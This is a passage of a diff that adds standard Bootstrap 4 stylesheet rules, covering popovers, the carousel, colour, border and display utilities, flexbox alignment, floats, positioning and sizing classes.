width: .5rem; + height: 1rem; + margin: .3rem 0 +} + +.bs-popover-auto[x-placement^=right] .arrow::after, +.bs-popover-auto[x-placement^=right] .arrow::before, +.bs-popover-right .arrow::after, +.bs-popover-right .arrow::before { + border-width: .5rem .5rem .5rem 0 +} + +.bs-popover-auto[x-placement^=right] .arrow::before, +.bs-popover-right .arrow::before { + left: 0; + border-right-color: rgba(0, 0, 0, .25) +} + +.bs-popover-auto[x-placement^=right] .arrow::after, +.bs-popover-right .arrow::after { + left: 1px; + border-right-color: #fff +} + +.bs-popover-auto[x-placement^=bottom], +.bs-popover-bottom { + margin-top: .5rem +} + +.bs-popover-auto[x-placement^=bottom] .arrow, +.bs-popover-bottom .arrow { + top: calc((.5rem + 1px) * -1) +} + +.bs-popover-auto[x-placement^=bottom] .arrow::after, +.bs-popover-auto[x-placement^=bottom] .arrow::before, +.bs-popover-bottom .arrow::after, +.bs-popover-bottom .arrow::before { + border-width: 0 .5rem .5rem .5rem +} + +.bs-popover-auto[x-placement^=bottom] .arrow::before, +.bs-popover-bottom .arrow::before { + top: 0; + border-bottom-color: rgba(0, 0, 0, .25) +} + +.bs-popover-auto[x-placement^=bottom] .arrow::after, +.bs-popover-bottom .arrow::after { + top: 1px; + border-bottom-color: #fff +} + +.bs-popover-auto[x-placement^=bottom] .popover-header::before, +.bs-popover-bottom .popover-header::before { + position: absolute; + top: 0; + left: 50%; + display: block; + width: 1rem; + margin-left: -.5rem; + content: ""; + border-bottom: 1px solid #f7f7f7 +} + +.bs-popover-auto[x-placement^=left], +.bs-popover-left { + margin-right: .5rem +} + +.bs-popover-auto[x-placement^=left] .arrow, +.bs-popover-left .arrow { + right: calc((.5rem + 1px) * -1); + width: .5rem; + height: 1rem; + margin: .3rem 0 +} + +.bs-popover-auto[x-placement^=left] .arrow::after, +.bs-popover-auto[x-placement^=left] .arrow::before, +.bs-popover-left .arrow::after, +.bs-popover-left .arrow::before { + border-width: .5rem 0 .5rem .5rem +} + +.bs-popover-auto[x-placement^=left] .arrow::before, +.bs-popover-left .arrow::before { + right: 0; + border-left-color: rgba(0, 0, 0, .25) +} + +.bs-popover-auto[x-placement^=left] .arrow::after, +.bs-popover-left .arrow::after { + right: 1px; + border-left-color: #fff +} + +.popover-header { + padding: .5rem .75rem; + margin-bottom: 0; + font-size: 1rem; + color: inherit; + background-color: #f7f7f7; + border-bottom: 1px solid #ebebeb; + border-top-left-radius: calc(.3rem - 1px); + border-top-right-radius: calc(.3rem - 1px) +} + +.popover-header:empty { + display: none +} + +.popover-body { + padding: .5rem .75rem; + color: #212529 +} + +.carousel { + position: relative +} + +.carousel-inner { + position: relative; + width: 100%; + overflow: hidden +} + +.carousel-item { + position: relative; + display: none; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + width: 100%; + transition: -webkit-transform .6s ease; + transition: transform .6s ease; + transition: transform .6s ease, -webkit-transform .6s ease; + -webkit-backface-visibility: hidden; + backface-visibility: hidden; + -webkit-perspective: 1000px; + perspective: 1000px +} + +.carousel-item-next, +.carousel-item-prev, +.carousel-item.active { + display: block +} + +.carousel-item-next, +.carousel-item-prev { + position: absolute; + top: 0 +} + +.carousel-item-next.carousel-item-left, +.carousel-item-prev.carousel-item-right { + -webkit-transform: translateX(0); + transform: translateX(0) +} + +@supports ((-webkit-transform-style:preserve-3d) or (transform-style:preserve-3d)) { + .carousel-item-next.carousel-item-left, + .carousel-item-prev.carousel-item-right { + -webkit-transform: translate3d(0, 0, 0); + transform: translate3d(0, 0, 0) + } +} + +.active.carousel-item-right, +.carousel-item-next { + -webkit-transform: translateX(100%); + transform: translateX(100%) +} + +@supports ((-webkit-transform-style:preserve-3d) or (transform-style:preserve-3d)) { + .active.carousel-item-right, + .carousel-item-next { + -webkit-transform: translate3d(100%, 0, 0); + transform: translate3d(100%, 0, 0) + } +} + +.active.carousel-item-left, +.carousel-item-prev { + -webkit-transform: translateX(-100%); + transform: translateX(-100%) +} + +@supports ((-webkit-transform-style:preserve-3d) or (transform-style:preserve-3d)) { + .active.carousel-item-left, + .carousel-item-prev { + -webkit-transform: translate3d(-100%, 0, 0); + transform: translate3d(-100%, 0, 0) + } +} + +.carousel-control-next, +.carousel-control-prev { + position: absolute; + top: 0; + bottom: 0; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-align: center; + -ms-flex-align: center; + align-items: center; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + width: 15%; + color: #fff; + text-align: center; + opacity: .5 +} + +.carousel-control-next:focus, +.carousel-control-next:hover, +.carousel-control-prev:focus, +.carousel-control-prev:hover { + color: #fff; + text-decoration: none; + outline: 0; + opacity: .9 +} + +.carousel-control-prev { + left: 0 +} + +.carousel-control-next { + right: 0 +} + +.carousel-control-next-icon, +.carousel-control-prev-icon { + display: inline-block; + width: 20px; + height: 20px; + background: transparent no-repeat center center; + background-size: 100% 100% +} + +.carousel-control-prev-icon { + background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E") +} + +.carousel-control-next-icon { + background-image: url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E") +} + +.carousel-indicators { + position: absolute; + right: 0; + bottom: 10px; + left: 0; + z-index: 15; + display: -webkit-box; + display: -ms-flexbox; + display: flex; + -webkit-box-pack: center; + -ms-flex-pack: center; + justify-content: center; + padding-left: 0; + margin-right: 15%; + margin-left: 15%; + list-style: none +} + +.carousel-indicators li { + position: relative; + -webkit-box-flex: 0; + -ms-flex: 0 1 auto; + flex: 0 1 auto; + width: 30px; + height: 3px; + margin-right: 3px; + margin-left: 3px; + text-indent: -999px; + background-color: rgba(255, 255, 255, .5) +} + +.carousel-indicators li::before { + position: absolute; + top: -10px; + left: 0; + display: inline-block; + width: 100%; + height: 10px; + content: "" +} + +.carousel-indicators li::after { + position: absolute; + bottom: -10px; + left: 0; + display: inline-block; + width: 100%; + height: 10px; + content: "" +} + +.carousel-indicators .active { + background-color: #fff +} + +.carousel-caption { + position: absolute; + right: 15%; + bottom: 20px; + left: 15%; + z-index: 10; + padding-top: 20px; + padding-bottom: 20px; + color: #fff; + text-align: center +} + +.align-baseline { + vertical-align: baseline !important +} + +.align-top { + vertical-align: top !important +} + +.align-middle { + vertical-align: middle !important +} + +.align-bottom { + vertical-align: bottom !important +} + +.align-text-bottom { + vertical-align: text-bottom !important +} + +.align-text-top { + vertical-align: text-top !important +} + +.bg-primary { + background-color: #007bff !important +} + +a.bg-primary:focus, +a.bg-primary:hover, +button.bg-primary:focus, +button.bg-primary:hover { + background-color: #0062cc !important +} + +.bg-secondary { + background-color: #6c757d !important +} + +a.bg-secondary:focus, +a.bg-secondary:hover, +button.bg-secondary:focus, +button.bg-secondary:hover { + background-color: #545b62 !important +} + +.bg-success { + background-color: #28a745 !important +} + +a.bg-success:focus, +a.bg-success:hover, +button.bg-success:focus, +button.bg-success:hover { + background-color: #1e7e34 !important +} + +.bg-info { + background-color: #17a2b8 !important +} + +a.bg-info:focus, +a.bg-info:hover, +button.bg-info:focus, +button.bg-info:hover { + background-color: #117a8b !important +} + +.bg-warning { + background-color: #ffc107 !important +} + +a.bg-warning:focus, +a.bg-warning:hover, +button.bg-warning:focus, +button.bg-warning:hover { + background-color: #d39e00 !important +} + +.bg-danger { + background-color: #dc3545 !important +} + +a.bg-danger:focus, +a.bg-danger:hover, +button.bg-danger:focus, +button.bg-danger:hover { + background-color: #bd2130 !important +} + +.bg-light { + background-color: #f8f9fa !important +} + +a.bg-light:focus, +a.bg-light:hover, +button.bg-light:focus, +button.bg-light:hover { + background-color: #dae0e5 !important +} + +.bg-dark { + background-color: #343a40 !important +} + +a.bg-dark:focus, +a.bg-dark:hover, +button.bg-dark:focus, +button.bg-dark:hover { + background-color: #1d2124 !important +} + +.bg-white { + background-color: #fff !important +} + +.bg-transparent { + background-color: transparent !important +} + +.border { + border: 1px solid #dee2e6 !important +} + +.border-top { + border-top: 1px solid #dee2e6 !important +} + +.border-right { + border-right: 1px solid #dee2e6 !important +} + +.border-bottom { + border-bottom: 1px solid #dee2e6 !important +} + +.border-left { + border-left: 1px solid #dee2e6 !important +} + +.border-0 { + border: 0 !important +} + +.border-top-0 { + border-top: 0 !important +} + +.border-right-0 { + border-right: 0 !important +} + +.border-bottom-0 { + border-bottom: 0 !important +} + +.border-left-0 { + border-left: 0 !important +} + +.border-primary { + border-color: #007bff !important +} + +.border-secondary { + border-color: #6c757d !important +} + +.border-success { + border-color: #28a745 !important +} + +.border-info { + border-color: #17a2b8 !important +} + +.border-warning { + border-color: #ffc107 !important +} + +.border-danger { + border-color: #dc3545 !important +} + +.border-light { + border-color: #f8f9fa !important +} + +.border-dark { + border-color: #343a40 !important +} + +.border-white { + border-color: #fff !important +} + +.rounded { + border-radius: .25rem !important +} + +.rounded-top { + border-top-left-radius: .25rem !important; + border-top-right-radius: .25rem !important +} + +.rounded-right { + border-top-right-radius: .25rem !important; + border-bottom-right-radius: .25rem !important +} + +.rounded-bottom { + border-bottom-right-radius: .25rem !important; + border-bottom-left-radius: .25rem !important +} + +.rounded-left { + border-top-left-radius: .25rem !important; + border-bottom-left-radius: .25rem !important +} + +.rounded-circle { + border-radius: 50% !important +} + +.rounded-0 { + border-radius: 0 !important +} + +.clearfix::after { + display: block; + clear: both; + content: "" +} + +.d-none { + display: none !important +} + +.d-inline { + display: inline !important +} + +.d-inline-block { + display: inline-block !important +} + +.d-block { + display: block !important +} + +.d-table { + display: table !important +} + +.d-table-row { + display: table-row !important +} + +.d-table-cell { + display: table-cell !important +} + +.d-flex { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important +} + +.d-inline-flex { + display: -webkit-inline-box !important; + display: -ms-inline-flexbox !important; + display: inline-flex !important +} + +@media (min-width:576px) { + .d-sm-none { + display: none !important + } + .d-sm-inline { + display: inline !important + } + .d-sm-inline-block { + display: inline-block !important + } + .d-sm-block { + display: block !important + } + .d-sm-table { + display: table !important + } + .d-sm-table-row { + display: table-row !important + } + .d-sm-table-cell { + display: table-cell !important + } + .d-sm-flex { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important + } + .d-sm-inline-flex { + display: -webkit-inline-box !important; + display: -ms-inline-flexbox !important; + display: inline-flex !important + } +} + +@media (min-width:768px) { + .d-md-none { + display: none !important + } + .d-md-inline { + display: inline !important + } + .d-md-inline-block { + display: inline-block !important + } + .d-md-block { + display: block !important + } + .d-md-table { + display: table !important + } + .d-md-table-row { + display: table-row !important + } + .d-md-table-cell { + display: table-cell !important + } + .d-md-flex { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important + } + .d-md-inline-flex { + display: -webkit-inline-box !important; + display: -ms-inline-flexbox !important; + display: inline-flex !important + } +} + +@media (min-width:992px) { + .d-lg-none { + display: none !important + } + .d-lg-inline { + display: inline !important + } + .d-lg-inline-block { + display: inline-block !important + } + .d-lg-block { + display: block !important + } + .d-lg-table { + display: table !important + } + .d-lg-table-row { + display: table-row !important + } + .d-lg-table-cell { + display: table-cell !important + } + .d-lg-flex { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important + } + .d-lg-inline-flex { + display: -webkit-inline-box !important; + display: -ms-inline-flexbox !important; + display: inline-flex !important + } +} + +@media (min-width:1200px) { + .d-xl-none { + display: none !important + } + .d-xl-inline { + display: inline !important + } + .d-xl-inline-block { + display: inline-block !important + } + .d-xl-block { + display: block !important + } + .d-xl-table { + display: table !important + } + .d-xl-table-row { + display: table-row !important + } + .d-xl-table-cell { + display: table-cell !important + } + .d-xl-flex { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important + } + .d-xl-inline-flex { + display: -webkit-inline-box !important; + display: -ms-inline-flexbox !important; + display: inline-flex !important + } +} + +@media print { + .d-print-none { + display: none !important + } + .d-print-inline { + display: inline !important + } + .d-print-inline-block { + display: inline-block !important + } + .d-print-block { + display: block !important + } + .d-print-table { + display: table !important + } + .d-print-table-row { + display: table-row !important + } + .d-print-table-cell { + display: table-cell !important + } + .d-print-flex { + display: -webkit-box !important; + display: -ms-flexbox !important; + display: flex !important + } + .d-print-inline-flex { + display: -webkit-inline-box !important; + display: -ms-inline-flexbox !important; + display: inline-flex !important + } +} + +.embed-responsive { + position: relative; + display: block; + width: 100%; + padding: 0; + overflow: hidden +} + +.embed-responsive::before { + display: block; + content: "" +} + +.embed-responsive .embed-responsive-item, +.embed-responsive embed, +.embed-responsive iframe, +.embed-responsive object, +.embed-responsive video { + position: absolute; + top: 0; + bottom: 0; + left: 0; + width: 100%; + height: 100%; + border: 0 +} + +.embed-responsive-21by9::before { + padding-top: 42.857143% +} + +.embed-responsive-16by9::before { + padding-top: 56.25% +} + +.embed-responsive-4by3::before { + padding-top: 75% +} + +.embed-responsive-1by1::before { + padding-top: 100% +} + +.flex-row { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: row !important; + flex-direction: row !important +} + +.flex-column { + -webkit-box-orient: vertical !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: column !important; + flex-direction: column !important +} + +.flex-row-reverse { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important +} + +.flex-column-reverse { + -webkit-box-orient: vertical !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important +} + +.flex-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important +} + +.flex-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important +} + +.flex-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important +} + +.justify-content-start { + -webkit-box-pack: start !important; + -ms-flex-pack: start !important; + justify-content: flex-start !important +} + +.justify-content-end { + -webkit-box-pack: end !important; + -ms-flex-pack: end !important; + justify-content: flex-end !important +} + +.justify-content-center { + -webkit-box-pack: center !important; + -ms-flex-pack: center !important; + justify-content: center !important +} + +.justify-content-between { + -webkit-box-pack: justify !important; + -ms-flex-pack: justify !important; + justify-content: space-between !important +} + +.justify-content-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important +} + +.align-items-start { + -webkit-box-align: start !important; + -ms-flex-align: start !important; + align-items: flex-start !important +} + +.align-items-end { + -webkit-box-align: end !important; + -ms-flex-align: end !important; + align-items: flex-end !important +} + +.align-items-center { + -webkit-box-align: center !important; + -ms-flex-align: center !important; + align-items: center !important +} + +.align-items-baseline { + -webkit-box-align: baseline !important; + -ms-flex-align: baseline !important; + align-items: baseline !important +} + +.align-items-stretch { + -webkit-box-align: stretch !important; + -ms-flex-align: stretch !important; + align-items: stretch !important +} + +.align-content-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important +} + +.align-content-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important +} + +.align-content-center { + -ms-flex-line-pack: center !important; + align-content: center !important +} + +.align-content-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important +} + +.align-content-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important +} + +.align-content-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important +} + +.align-self-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important +} + +.align-self-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important +} + +.align-self-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important +} + +.align-self-center { + -ms-flex-item-align: center !important; + align-self: center !important +} + +.align-self-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important +} + +.align-self-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important +} + +@media (min-width:576px) { + .flex-sm-row { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: row !important; + flex-direction: row !important + } + .flex-sm-column { + -webkit-box-orient: vertical !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: column !important; + flex-direction: column !important + } + .flex-sm-row-reverse { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important + } + .flex-sm-column-reverse { + -webkit-box-orient: vertical !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important + } + .flex-sm-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important + } + .flex-sm-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important + } + .flex-sm-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important + } + .justify-content-sm-start { + -webkit-box-pack: start !important; + -ms-flex-pack: start !important; + justify-content: flex-start !important + } + .justify-content-sm-end { + -webkit-box-pack: end !important; + -ms-flex-pack: end !important; + justify-content: flex-end !important + } + .justify-content-sm-center { + -webkit-box-pack: center !important; + -ms-flex-pack: center !important; + justify-content: center !important + } + .justify-content-sm-between { + -webkit-box-pack: justify !important; + -ms-flex-pack: justify !important; + justify-content: space-between !important + } + .justify-content-sm-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important + } + .align-items-sm-start { + -webkit-box-align: start !important; + -ms-flex-align: start !important; + align-items: flex-start !important + } + .align-items-sm-end { + -webkit-box-align: end !important; + -ms-flex-align: end !important; + align-items: flex-end !important + } + .align-items-sm-center { + -webkit-box-align: center !important; + -ms-flex-align: center !important; + align-items: center !important + } + .align-items-sm-baseline { + -webkit-box-align: baseline !important; + -ms-flex-align: baseline !important; + align-items: baseline !important + } + .align-items-sm-stretch { + -webkit-box-align: stretch !important; + -ms-flex-align: stretch !important; + align-items: stretch !important + } + .align-content-sm-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important + } + .align-content-sm-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important + } + .align-content-sm-center { + -ms-flex-line-pack: center !important; + align-content: center !important + } + .align-content-sm-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important + } + .align-content-sm-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important + } + .align-content-sm-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important + } + .align-self-sm-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important + } + .align-self-sm-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important + } + .align-self-sm-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important + } + .align-self-sm-center { + -ms-flex-item-align: center !important; + align-self: center !important + } + .align-self-sm-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important + } + .align-self-sm-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important + } +} + +@media (min-width:768px) { + .flex-md-row { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: row !important; + flex-direction: row !important + } + .flex-md-column { + -webkit-box-orient: vertical !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: column !important; + flex-direction: column !important + } + .flex-md-row-reverse { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important + } + .flex-md-column-reverse { + -webkit-box-orient: vertical !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important + } + .flex-md-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important + } + .flex-md-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important + } + .flex-md-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important + } + .justify-content-md-start { + -webkit-box-pack: start !important; + -ms-flex-pack: start !important; + justify-content: flex-start !important + } + .justify-content-md-end { + -webkit-box-pack: end !important; + -ms-flex-pack: end !important; + justify-content: flex-end !important + } + .justify-content-md-center { + -webkit-box-pack: center !important; + -ms-flex-pack: center !important; + justify-content: center !important + } + .justify-content-md-between { + -webkit-box-pack: justify !important; + -ms-flex-pack: justify !important; + justify-content: space-between !important + } + .justify-content-md-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important + } + .align-items-md-start { + -webkit-box-align: start !important; + -ms-flex-align: start !important; + align-items: flex-start !important + } + .align-items-md-end { + -webkit-box-align: end !important; + -ms-flex-align: end !important; + align-items: flex-end !important + } + .align-items-md-center { + -webkit-box-align: center !important; + -ms-flex-align: center !important; + align-items: center !important + } + .align-items-md-baseline { + -webkit-box-align: baseline !important; + -ms-flex-align: baseline !important; + align-items: baseline !important + } + .align-items-md-stretch { + -webkit-box-align: stretch !important; + -ms-flex-align: stretch !important; + align-items: stretch !important + } + .align-content-md-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important + } + .align-content-md-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important + } + .align-content-md-center { + -ms-flex-line-pack: center !important; + align-content: center !important + } + .align-content-md-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important + } + .align-content-md-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important + } + .align-content-md-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important + } + .align-self-md-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important + } + .align-self-md-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important + } + .align-self-md-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important + } + .align-self-md-center { + -ms-flex-item-align: center !important; + align-self: center !important + } + .align-self-md-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important + } + .align-self-md-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important + } +} + +@media (min-width:992px) { + .flex-lg-row { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: row !important; + flex-direction: row !important + } + .flex-lg-column { + -webkit-box-orient: vertical !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: column !important; + flex-direction: column !important + } + .flex-lg-row-reverse { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important + } + .flex-lg-column-reverse { + -webkit-box-orient: vertical !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important + } + .flex-lg-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important + } + .flex-lg-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important + } + .flex-lg-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important + } + .justify-content-lg-start { + -webkit-box-pack: start !important; + -ms-flex-pack: start !important; + justify-content: flex-start !important + } + .justify-content-lg-end { + -webkit-box-pack: end !important; + -ms-flex-pack: end !important; + justify-content: flex-end !important + } + .justify-content-lg-center { + -webkit-box-pack: center !important; + -ms-flex-pack: center !important; + justify-content: center !important + } + .justify-content-lg-between { + -webkit-box-pack: justify !important; + -ms-flex-pack: justify !important; + justify-content: space-between !important + } + .justify-content-lg-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important + } + .align-items-lg-start { + -webkit-box-align: start !important; + -ms-flex-align: start !important; + align-items: flex-start !important + } + .align-items-lg-end { + -webkit-box-align: end !important; + -ms-flex-align: end !important; + align-items: flex-end !important + } + .align-items-lg-center { + -webkit-box-align: center !important; + -ms-flex-align: center !important; + align-items: center !important + } + .align-items-lg-baseline { + -webkit-box-align: baseline !important; + -ms-flex-align: baseline !important; + align-items: baseline !important + } + .align-items-lg-stretch { + -webkit-box-align: stretch !important; + -ms-flex-align: stretch !important; + align-items: stretch !important + } + .align-content-lg-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important + } + .align-content-lg-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important + } + .align-content-lg-center { + -ms-flex-line-pack: center !important; + align-content: center !important + } + .align-content-lg-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important + } + .align-content-lg-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important + } + .align-content-lg-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important + } + .align-self-lg-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important + } + .align-self-lg-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important + } + .align-self-lg-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important + } + .align-self-lg-center { + -ms-flex-item-align: center !important; + align-self: center !important + } + .align-self-lg-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important + } + .align-self-lg-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important + } +} + +@media (min-width:1200px) { + .flex-xl-row { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: row !important; + flex-direction: row !important + } + .flex-xl-column { + -webkit-box-orient: vertical !important; + -webkit-box-direction: normal !important; + -ms-flex-direction: column !important; + flex-direction: column !important + } + .flex-xl-row-reverse { + -webkit-box-orient: horizontal !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: row-reverse !important; + flex-direction: row-reverse !important + } + .flex-xl-column-reverse { + -webkit-box-orient: vertical !important; + -webkit-box-direction: reverse !important; + -ms-flex-direction: column-reverse !important; + flex-direction: column-reverse !important + } + .flex-xl-wrap { + -ms-flex-wrap: wrap !important; + flex-wrap: wrap !important + } + .flex-xl-nowrap { + -ms-flex-wrap: nowrap !important; + flex-wrap: nowrap !important + } + .flex-xl-wrap-reverse { + -ms-flex-wrap: wrap-reverse !important; + flex-wrap: wrap-reverse !important + } + .justify-content-xl-start { + -webkit-box-pack: start !important; + -ms-flex-pack: start !important; + justify-content: flex-start !important + } + .justify-content-xl-end { + -webkit-box-pack: end !important; + -ms-flex-pack: end !important; + justify-content: flex-end !important + } + .justify-content-xl-center { + -webkit-box-pack: center !important; + -ms-flex-pack: center !important; + justify-content: center !important + } + .justify-content-xl-between { + -webkit-box-pack: justify !important; + -ms-flex-pack: justify !important; + justify-content: space-between !important + } + .justify-content-xl-around { + -ms-flex-pack: distribute !important; + justify-content: space-around !important + } + .align-items-xl-start { + -webkit-box-align: start !important; + -ms-flex-align: start !important; + align-items: flex-start !important + } + .align-items-xl-end { + -webkit-box-align: end !important; + -ms-flex-align: end !important; + align-items: flex-end !important + } + .align-items-xl-center { + -webkit-box-align: center !important; + -ms-flex-align: center !important; + align-items: center !important + } + .align-items-xl-baseline { + -webkit-box-align: baseline !important; + -ms-flex-align: baseline !important; + align-items: baseline !important + } + .align-items-xl-stretch { + -webkit-box-align: stretch !important; + -ms-flex-align: stretch !important; + align-items: stretch !important + } + .align-content-xl-start { + -ms-flex-line-pack: start !important; + align-content: flex-start !important + } + .align-content-xl-end { + -ms-flex-line-pack: end !important; + align-content: flex-end !important + } + .align-content-xl-center { + -ms-flex-line-pack: center !important; + align-content: center !important + } + .align-content-xl-between { + -ms-flex-line-pack: justify !important; + align-content: space-between !important + } + .align-content-xl-around { + -ms-flex-line-pack: distribute !important; + align-content: space-around !important + } + .align-content-xl-stretch { + -ms-flex-line-pack: stretch !important; + align-content: stretch !important + } + .align-self-xl-auto { + -ms-flex-item-align: auto !important; + align-self: auto !important + } + .align-self-xl-start { + -ms-flex-item-align: start !important; + align-self: flex-start !important + } + .align-self-xl-end { + -ms-flex-item-align: end !important; + align-self: flex-end !important + } + .align-self-xl-center { + -ms-flex-item-align: center !important; + align-self: center !important + } + .align-self-xl-baseline { + -ms-flex-item-align: baseline !important; + align-self: baseline !important + } + .align-self-xl-stretch { + -ms-flex-item-align: stretch !important; + align-self: stretch !important + } +} + +.float-left { + float: left !important +} + +.float-right { + float: right !important +} + +.float-none { + float: none !important +} + +@media (min-width:576px) { + .float-sm-left { + float: left !important + } + .float-sm-right { + float: right !important + } + .float-sm-none { + float: none !important + } +} + +@media (min-width:768px) { + .float-md-left { + float: left !important + } + .float-md-right { + float: right !important + } + .float-md-none { + float: none !important + } +} + +@media (min-width:992px) { + .float-lg-left { + float: left !important + } + .float-lg-right { + float: right !important + } + .float-lg-none { + float: none !important + } +} + +@media (min-width:1200px) { + .float-xl-left { + float: left !important + } + .float-xl-right { + float: right !important + } + .float-xl-none { + float: none !important + } +} + +.position-static { + position: static !important +} + +.position-relative { + position: relative !important +} + +.position-absolute { + position: absolute !important +} + +.position-fixed { + position: fixed !important +} + +.position-sticky { + position: -webkit-sticky !important; + position: sticky !important +} + +.fixed-top { + position: fixed; + top: 0; + right: 0; + left: 0; + z-index: 1030 +} + +.fixed-bottom { + position: fixed; + right: 0; + bottom: 0; + left: 0; + z-index: 1030 +} + +@supports ((position:-webkit-sticky) or (position:sticky)) { + .sticky-top { + position: -webkit-sticky; + position: sticky; + top: 0; + z-index: 1020 + } +} + +.sr-only { + position: absolute; + width: 1px; + height: 1px; + padding: 0; + overflow: hidden; + clip: rect(0, 0, 0, 0); + white-space: nowrap; + -webkit-clip-path: inset(50%); + clip-path: inset(50%); + border: 0 +} + +.sr-only-focusable:active, +.sr-only-focusable:focus { + position: static; + width: auto; + height: auto; + overflow: visible; + clip: auto; + white-space: normal; + -webkit-clip-path: none; + clip-path: none +} + +.w-25 { + width: 25% !important +} + +.w-50 { + width: 50% !important +} + +.w-75 { + width: 75% !important +} + +.w-100 { + width: 100% !important +} + +.h-25 { + height: 25% !important +} + +.h-50 { + height: 50% !important +} + +.h-75 { + height: 75% !important +} + +.h-100 { + height: 100% !important +} + +.mw-100 { + max-width: 100% !important +} + +.mh-100 { + max-height: 100% !important +} 